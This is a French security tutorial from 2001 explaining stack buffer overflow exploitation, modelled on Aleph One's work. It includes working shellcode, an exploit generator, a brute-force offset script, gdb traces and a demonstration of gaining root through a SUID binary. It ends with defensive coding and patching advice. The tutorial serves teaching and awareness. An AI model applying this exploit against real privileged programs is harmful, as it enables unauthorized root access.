0] Introduction --------------- Cet article montre comment exploiter un débordement de tampon. Il s'agit d'abord ici de démystifier l'exploitation des failles de sécurité les plus communes : les débordements de tampons dans la pile d'exécution. Ceci afin de sensibiliser les programmeurs, les administrateurs et les responsables des risques encourus simplement en expliquant le fonctionnement aux personnes sensibles aux problèmes de sécurité. Ce document part du principe que vous connaissez le fonctionnement de la pile d'exécution et celui des débordements de tampons. Pour cela vous pouvez voir le document intitulé "Introduction aux débordements de buffer" de Stéphane Aubert http://www.hsc.fr/ressources/breves/stackoverflow.html . Quelques notions de C et de l'utilisation d'un débogueur comme gdb seront les bienvenues. Ce document, comme la quasi totalité des articles sur le sujet, reprend les exemples du document "Smashing The Stack For Fun And Profit" de Aleph One http://www.phrack.org/show.php?p=49&a=14 . Ici sont occultés les explications nécessaires au fonctionnement de la pile d'exécution et à l'écriture du shellcode; pour ne se concentrer que sur l'exploitation du débordement de tampon en donnant quelques explications supplémentaires par rapport à l'article original. I] Présentation de la vulnérabilité ----------------------------------- Le programme vulnérable que nous allons exploiter est le suivant. Il contient un tampon de 512 octets dans lequel le programme recopie la chaîne de caractères passée en premier argument par l'utilisateur. Les programmes nécessaires sont tous inclus dans l'article et sont extractibles avec l'utilitaire extract présent dans tous les numéros du magazine phrack. <++> vulnerable.c void main(int argc, char *argv[]) { char buffer[512]; if (argc > 1) strcpy(buffer,argv[1]); } <--> Les explications des fonctionnalités utilisées seront données après chaque copie d'écran. De plus, tous les tests réalisés ici ont été effectués sur un système x86 sous Linux avec un compilateur gcc 2.95.x et un bibliothèque C glibc 2.2.x et avec un environnement d'environ 1,5 Ko depuis un terminal rxvt exécutant un shell bash en version 2.0.x . Si les différents programmes devraient fonctionner sur tout système x86, différentes versions de compilateur et de bibliothèque C et une taille d'environnement différente pourront faire varier les différentes valeurs à utiliser. Le shellcode utilisé ici par contre ne fonctionnera que sur Linux/x86. 2] Décorticage de la vulnérabilité ---------------------------------- Après compilation, il est facilement possible de vérifier que quelque chose cloche dans le programme vulnérable puisqu'il génère une erreur lorsqu'un paramètre de 1000 caractères lui est passé en premier argument. --------------------------------------------------------------------- $ gcc -g -o vulnerable vulnerable.c $ ./vulnerable `perl -e 'print "A" x 1000'` Segmentation fault $ gdb ./vulnerable GNU gdb 5.0 [...] (gdb) run `perl -e 'print "A" x 1000'` Starting program: /home/ducamp/expl/aleph1/./vulnerable `perl -e 'print "A" x 1000'` Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) bt #0 0x41414141 in ?? () Cannot access memory at address 0x41414141 (gdb) x/176xb $esp-88 0xbffff40c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff414: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 [...] 0xbffff4ac: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff4b4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 (gdb) q The program is running. Exit anyway? (y or n) y $ --------------------------------------------------------------------- Pour vérifier que ceci est le type de vulnérabilité recherchée, il faut lancer gdb en lui indiquant le programme, puis lancer l'exécution avec les paramètres à utiliser. gdb indique que le programme a été interrompu suite à la réception du signal SIGSEGV lors d'une tentative d'accès à l'adresse mémoire 0x41414141. En consultant le contenu de la pile (ici en hexadécimal sur 176 octets depuis l'adresse esp-88, esp étant le sommet de la pile), il est possible de voir que celle-ci a été écrasée avec des caractères "A" (dont le code ASCII est 0x41 en hexadécimal). Essayons de déterminer quand le problème a eu lieu : --------------------------------------------------------------------- $ gdb ./vulnerable GNU gdb 5.0 [...] (gdb) break vulnerable.c:5 Breakpoint 1 at 0x80483f3: file vulnerable.c, line 5. (gdb) run `perl -e 'print "A" x 1000'` Starting program: /home/ducamp/expl/aleph1/./vulnerable `perl -e 'print "A" x 1000'` Breakpoint 1, main (argc=2, argv=0xbffff4c4) at vulnerable.c:5 5 strcpy(buffer,argv[1]); (gdb) x/176xb $esp-88 0xbffff1fc: 0x0c 0xf3 0xff 0xbf 0xb5 0x86 0x00 0x40 0xbffff204: 0xf4 0x57 0x01 0x40 0x0e 0x4f 0x00 0x00 [...] 0xbffff244: 0xdb 0x54 0x03 0x40 0xdb 0x54 0x03 0x40 0xbffff24c: 0x00 0x00 0x00 0x00 0xb5 0x86 0x00 0x40 0xbffff254: 0xf4 0x57 0x01 0x40 0x58 0x3a 0x00 0x00 0xbffff25c: 0x00 0x00 0x00 0x00 0xb4 0x25 0x00 0x40 [...] 0xbffff29c: 0x90 0x62 0x01 0x40 0x48 0xf3 0xff 0xbf 0xbffff2a4: 0x90 0x62 0x01 0x40 0xde 0x11 0x03 0x40 (gdb) next 6 } (gdb) x/176xb $esp-88 0xbffff1fc: 0x58 0xca 0x12 0x40 0x64 0x5d 0x01 0x40 0xbffff204: 0xc4 0xf4 0xff 0xbf 0x0e 0x4f 0x00 0x00 [...] 0xbffff244: 0x5c 0xf2 0xff 0xbf 0x2a 0xf6 0xff 0xbf 0xbffff24c: 0x00 0x00 0x00 0x00 0xb5 0x86 0x00 0x40 0xbffff254: 0xf4 0x57 0x01 0x40 0x58 0x3a 0x00 0x00 0xbffff25c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 [...] 0xbffff29c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff2a4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 (gdb) cont Continuing. Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) q The program is running. Exit anyway? (y or n) y $ --------------------------------------------------------------------- Nous venons de relancer le programme vulnérable sous gdb après avoir positionné un point d'arrêt (breakpoint) avant l'appel à strcpy(). Le programme s'est arrêté avant d'appeler cette fonction et à cet instant, la pile d'exécution est correcte. Durant l'appel à strcpy(), la pile a été écrasée, mais la partie correspondant aux données de strcpy est toujours intacte donc le retour dans main() se déroule sans problème. En continuant l'exécution, c'est à dire en sortant de main(), le programme utilise les données de l'utilisateur pour continuer son exécution et est redirigé vers l'adresse 0x41414141. Pour exploiter cela, il faut maintenant déterminer combien de caractères il faut mettre avant l'adresse de retour, celle-ci indiquant l'adresse du code que nous souhaitons faire exécuter. Nous allons donc faire suivre une chaîne de "A" dont la taille est à déterminer de la chaîne "EDCB" qui en hexadécimal s'écrit 0x42434445. Cette longueur doit être proche de 512 qui est la taille totale des variables locales de la fonction main(). --------------------------------------------------------------------- $ gdb ./vulnerable GNU gdb 5.0 [...] (gdb) run `perl -e 'print "A" x 516 . "EDCB"'` Starting program: /home/ducamp/expl/aleph1/./vulnerable `perl -e 'print "A" x 516 . "EDCB"'` Program received signal SIGSEGV, Segmentation fault. 0x42434445 in ?? () (gdb) q The program is running. Exit anyway? (y or n) y --------------------------------------------------------------------- L'adresse à laquelle le processeur a voulu continuer l'exécution du processus correspond à la chaîne "EDCB". Après quelques essais, nous sommes donc arrivés à mettre le nombre exact de caractères nécessaires pour placer l'adresse de retour à la bonne place et déterminer que la bonne taille sur notre machine de test est de 516 octets. Voyons en détail ce qu'il s'est passé : --------------------------------------------------------------------- $ gdb ./vulnerable GNU gdb 5.0 [...] (gdb) break vulnerable.c:5 Breakpoint 1 at 0x80483f3: file vulnerable.c, line 5. (gdb) run `perl -e 'print "A" x 516 . "EDCB"'` Starting program: /home/ducamp/expl/aleph1/./vulnerable `perl -e 'print "A" x 516 . "EDCB"'` Breakpoint 1, main (argc=2, argv=0xbffff6a4) at vulnerable.c:5 5 strcpy(buffer,argv[1]); (gdb) p$eip $1 = (void *) 0x80483f3 (gdb) p$esp $2 = (void *) 0xbffff434 (gdb) x/40xb $esp+516-8 0xbffff630: 0x58 0xca 0x12 0x40 0x90 0xba 0x00 0x40 0xbffff638: 0x58 0xf6 0xff 0xbf 0x78 0xf6 0xff 0xbf 0xbffff640: 0xeb 0xe2 0x03 0x40 0x02 0x00 0x00 0x00 0xbffff648: 0xa4 0xf6 0xff 0xbf 0xb0 0xf6 0xff 0xbf 0xbffff650: 0x3c 0x84 0x04 0x08 0x00 0x00 0x00 0x00 (gdb) print &buffer $3 = (char (*)[512]) 0xbffff43c (gdb) x/4xb buffer+516 0xbffff640: 0xeb 0xe2 0x03 0x40 (gdb) next 6 } (gdb) p$eip $3 = (void *) 0x804840e (gdb) p$esp $4 = (void *) 0xbffff434 (gdb) x/40xb $esp+516-8 0xbffff630: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff638: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff640: 0x45 0x44 0x43 0x42 0x00 0x00 0x00 0x00 0xbffff648: 0xa4 0xf6 0xff 0xbf 0xb0 0xf6 0xff 0xbf 0xbffff650: 0x3c 0x84 0x04 0x08 0x00 0x00 0x00 0x00 (gdb) x/4xb buffer+516 0xbffff640: 0x45 0x44 0x43 0x42 (gdb) cont Continuing. Program received signal SIGSEGV, Segmentation fault. 0x42434445 in ?? () (gdb) p$eip $5 = (void *) 0x42434445 (gdb) p$esp $6 = (void *) 0xbffff644 (gdb) q The program is running. Exit anyway? (y or n) y $ --------------------------------------------------------------------- Ici lorsque le programme arrive avant l'appel à strcpy(), le registre eip (pointeur vers l'instruction à exécuter) vaut 0x80483f3 et le registre esp (pointeur vers le haut de la pile) vaut 0xbffff434. Le tableau buffer a pour adresse 0xbffff43c et l'adresse 0xbffff640 (0xbffff43c+516 = buffer+516) contient 0x4003e2eb. Après l'appel à strcpy(), eip vaut 0x804840e, esp vaut 0xbffff434 et l'adresse 0xbffff640 (buffer+516) contient 0x42434445. Après continuation de l'exécution, le programme reçoit le signal SIGSEGV pour avoir tenté de continuer son exécution à partir de l'adresse 0x42434445, c.-à-d. à l'adresse contenue à l'adresse 0xbffff640. 3] Exploitation de la vulnérabilité ----------------------------------- La difficulté suivante est de déterminer l'adresse de retour à placer à la place de 0x42434445. Il s'agit ici de la plus grosse difficulté dans l'exploitation d'un débordement de tampon dans la pile d'exécution. Tout ceux qui se seront essayés à cela auront buté sur ce problème et beaucoup en auront conclu, à tort malheureusement, qu'il faut être un génie pour résoudre ce problème... En fait avec la bonne méthode, et surtout le bon programme tel que le suivant, il est possible de rechercher par force brute les valeurs possibles dans un cas particulier. <++> exploit3.c #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/tmp/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; for (i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; memcpy(buff,"EGG=",4); putenv(buff); system("/bin/bash"); } <--> <++> sh.c #include main(){ printf("XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\n" "Smashing The Stack For Fun And Profit Smashing The Stack For Fun And Profit\n" "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\n" ); fflush(stdout); } <--> Le programme exploit3 exécute un shell après avoir créé la variable d'environnement nommée EGG. La valeur attribuée à cette variable contient entre autres : . une série de NOP, . le shell code, . l'adresse de retour (en de nombreux exemplaires pour en simplifier l'exploitation dans le cas où la vulnérabilité puisse se présenter dans des configurations légèrement différentes du point de vue de sa pile d'exécution). L'adresse de retour est censée tomber quelque part dans la série de NOP au début du tampon. Pour déterminer cette valeur, le programme récupère l'adresse de pointeur de pile (esp) et y soustrait un offset (déplacement) donné par le deuxième paramètre. La taille du tampon est donnée par le premier paramètre. Nous allons utiliser le programme sh.c compilé en /tmp/sh pour nous aider à déterminer ces valeurs. Pour cela nous avons aussi modifié le shellcode pour qu'il exécute /tmp/sh au lieu de /bin/sh ;) Pour la taille du tampon à créer, il est nécessaire de prendre en compte la taille du tampon à déborder et de celles des variables d'à côté. Ici nous n'avons que le tampon à déborder et auparavant nous avons pu déterminer que les 4 octets suivants les 516 premiers écrasaient la valeur de retour. Pour prendre une marge, nous allons donner 612 comme longueur du tampon à créer. Pour l'offset à donner, nous allons essayer de découvrir sa valeur par force brute ;) avec le petit programme en shell Bourne suivant : <++>brute.sh #!/bin/sh i=0 ; while test $i -lt 1000 ; do echo == $i == `echo './vulnerable $EGG' | ./exploit3 612 $i` ; i=`expr $i + 1` ; done 2>&1 <--> Tout d'abord compiler les programmes et lancer le script de recherche par force brute : --------------------------------------------------------------------- $ gcc -o exploit3 exploit3.c $ gcc -o sh sh.c $ cp sh /tmp $ chmod a-x brute.sh $ . ./brute.sh > blah.txt --------------------------------------------------------------------- Remarque : l'interprétation du script par le shell courant (". ./brute.sh") est préféré à l'interprétation par un autre shell lancé automatiquement par le système ("./brute.sh") afin d'obtenir des résultats directement exploitables. Autre remarque : il se peut que pour certaines valeurs, le programme vulnérable boucle indéfiniment... ce sont les aléas des exploitations des débordements de tampons ;) Il est donc conseillé de lancer une commande top en même temps que le script de recherche... Le temps de recherche est de toute façon supérieur à une minute. Il suffit alors de rechercher dans le fichier blah.txt quelles sont les valeurs d'offset pour lesquelles la bannière du programme sh.c s'est affichée. Il est à remarquer que certains intervalles sont très efficaces alors que d'autres pas du tout... sur ma machine les valeurs à partir de 383 fonctionnent bien. Pour l'exemple suivant j'utilise 444 (choisie de façon à avoir une adresse de retour proche du shellcode) : --------------------------------------------------------------------- $ ./exploit3 612 424 Using address: 0xbffff654 $ gdb ./vulnerable GNU gdb 5.0 [...] (gdb) break vulnerable.c:5 Breakpoint 1 at 0x80483f3: file vulnerable.c, line 5. (gdb) run $EGG Starting program: /home/ducamp/expl/aleph1/./vulnerable $EGG Breakpoint 1, main (argc=2, argv=0xbffff3f4) at vulnerable.c:5 5 strcpy(buffer,argv[1]); (gdb) print &buffer $1 = (char (*)[512]) 0xbffff18c (gdb) x/4xb buffer+516 0xbffff390: 0xeb 0xe2 0x03 0x40 (gdb) next 6 } (gdb) x/4xb buffer+516 0xbffff390: 0x54 0xf6 0xff 0xbf (gdb) x/80xb 0xbffff654-8 0xbffff64c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff654: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff65c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff664: 0x90 0x90 0x90 0xeb 0x1f 0x5e 0x89 0x76 0xbffff66c: 0x08 0x31 0xc0 0x88 0x46 0x07 0x89 0x46 0xbffff674: 0x0c 0xb0 0x0b 0x89 0xf3 0x8d 0x4e 0x08 0xbffff67c: 0x8d 0x56 0x0c 0xcd 0x80 0x31 0xdb 0x89 0xbffff684: 0xd8 0x40 0xcd 0x80 0xe8 0xdc 0xff 0xff 0xbffff68c: 0xff 0x2f 0x74 0x6d 0x70 0x2f 0x73 0x68 0xbffff694: 0xf6 0xff 0xbf 0x54 0xf6 0xff 0xbf 0x54 (gdb) cont Continuing. Program received signal SIGTRAP, Trace/breakpoint trap. 0x40001f20 in _start () at rtld.c:161 161 rtld.c: No such file or directory. (gdb) cont Continuing. XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX Smashing The Stack For Fun And Profit Smashing The Stack For Fun And Profit XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX Program exited normally. (gdb) q $ ./vulnerable $EGG XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX Smashing The Stack For Fun And Profit Smashing The Stack For Fun And Profit XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX $ --------------------------------------------------------------------- Ici nous avons lancé l'exploit dans gdb et positionné un point d'arrêt avant l'appel à la fonction strcpy() . Le tableau buffer se trouve à l'adresse 0xbffff18c. À l'adresse 0xbffff390 (0xbffff18c+516 = buffer+516) se trouve la valeur 0x4003e2eb. Après l'appel à strcpy() , c'est maintenant la valeur 0xbffff650 qui se trouve à la même adresse. Cette valeur est bien celle donnée par le programme exploit3 avant de lancer un shell. En regardant à l'adresse 0xbffff650, se trouve une suite de valeurs 0x90 correspondant à des NOP, puis les valeurs du shellcode... En faisant cont, un signal SIGTRAP est obtenu. Ceci est dû au fait que le programme est en cours de débogage et qu'il vient d'effectuer un appel à une fonction de la famille des exec() . En continuant l'exécution, le programme /tmp/sh est bien lancé et l'exécution se déroule normalement. Après avoir quitté gdb, exécutez l'exploit sans passer par gdb. Cela fait afficher la bannière magique... :) et voilà votre première exploitation de débordement de tampon en direct ;) 4] Et si le programme vulnérable avait été privilégié ? ------------------------------------------------------- Pour que la démonstration soit complète, il faut alors copier la commande id à la place du programme /tmp/sh et essayer d'exploiter le programme vulnérable avant et après l'avoir mis SUID root. Si nous n'avons pas essayé de rendre le programme vulnérable SUID root plus tôt, c'est tout simplement qu'un programme SUID ne peut être débogué sous Linux et d'autres systèmes. La raison est qu'un utilisateur ne peut obtenir le privilège d'utiliser l'appel système ptrace() sur un programme SUID. --------------------------------------------------------------------- $ cp /usr/bin/id /tmp/sh $ ./exploit3 612 424 Using address: 0xbffff654 $ ./vulnerable $EGG uid=1000(ducamp) gid=1000(ducamp) groups=1000(ducamp) $ su Password: # chown root:root vulnerable # chmod u+s vulnerable # ls -l vulnerable -rwsr-xr-x 1 root root 13781 Sep 5 19:59 vulnerable # exit exit $ ./vulnerable $EGG uid=1000(ducamp) gid=1000(ducamp) euid=0(root) groups=1000(ducamp) $ cp /bin/sh /tmp/sh $ ./vulnerable $EGG sh-2.05$ id uid=1000(ducamp) gid=1000(ducamp) groups=1000(ducamp) sh-2.05$ --------------------------------------------------------------------- Ici nous pouvons noter que lorsque la commande id est lancée par le programme vulnérable qui possède des privilèges, le programme id est lui aussi exécuté avec ces privilèges : l'uid effectif est root. Après avoir copié un shell (bash en version 2.0.x dans mon cas) à la place de /tmp/sh et exploité la vulnérabilité, le shell ne parait avec aucun privilège. En fait il s'agit tout simplement d'une "fonctionnalité" de ce shell qui ayant détecté que l'uid réel et l'uid effectif sont différents se débarrasse de ses privilèges. En changeant le shellcode par un autre qui exécute un setreuid(0) avant l'appel à execve(), les uid réel et effectif sont identiques et le shell garde alors les privilèges root. Et n'oubliez pas de supprimer ensuite le bit SUID root sur le programme vulnérable lorsque vous en avez terminé, au risque de voir les utilisateurs s'en servir vous venez de le faire ;) (entrez "chmod u-s vulnerable" en tant que root). 5] Conclusion ------------- Maintenant que vous avez pu voir que l'exploitation d'un débordement de tampon peut être une chose assez simple à effectuer, il est donc important que les programmeurs changent leurs habitudes de programmation en incluant de simples mesures. La règle importante est de toujours vérifier les données provenant de sources non sûres. Ces vérifications doivent prendre en compte le type des données et leur taille. Ici en limitant la copie à la taille du tampon destination, le problème aurait alors disparu : <++>no-vuln.c #define LNG 511 void main(int argc, char *argv[]) { char buffer[LNG+1]; if (argc > 1) strncpy(buffer,argv[1],LNG); buffer[LNG]='\0'; } <--> Il est à noter que même en limitant les données à certains types de caractères, comme des chiffres et des lettres (fonction isalnum()) il est toujours possible, même si cela est plus difficile, d'écrire un shellcode qui passera le test. Pour des exemples de tels codes, consultez l'article 15 du numéro 57 du magazine phrack. Certains shellcodes existants sont même résistants aux fonctions tolower() ou toupper(). Il est donc très important de vérifier en taille les données reçues de sources non sûres telles que les paramètres du programme, l'entrée standard, le contenu des fichiers à traiter, les données reçues d'autres programmes (même s'ils font partie du même package) ou du réseau. Les administrateurs systèmes sont aussi impliqués dans le processus : il est très important de mettre à jour les démons et programmes locaux dès qu'une faille de sécurité est annoncée. Des fonctionnalités comme : . une pile non exécutable (voir pour Linux le patch Openwall par Solar Designer : http://www.openwall.com/linux/ ) . un patch au compilateur pour rendre les programmes auto-immunes (voir pour Linux StackGuard http://www.immunix.org/products.html#stackguard ) permettent seulement de rajouter une barrière supplémentaire, mais ne constituent en aucun cas un mur infranchissable, chacune ayant ses faiblesses (sauts par trampoline et vulnérabilités des chaînes de format). Il est donc important dans tous les cas de mettre à jour ses systèmes dans les plus brefs délais dès l'annonce de la vulnérabilité. Mais la plus grande responsabilité incombe aux décideurs : il est très important de prendre en compte la sécurité. Ainsi, il est nécessaire de laisser plus de temps aux développeurs pour s'assurer qu'un minimum de vérifications soient réalisées et de laisser plus de temps aux administrateurs pour suivre les listes de sécurité et mettre à jour les systèmes dès que cela est nécessaire. Remerciements : . à tous ceux qui ont testé ma démo, même quand elle était en version béta . à tous les relecteurs de HSC . à tous les eXperts sans qui les meilleurs détails ne seraient pas là par Denis Ducamp (03/09/2001)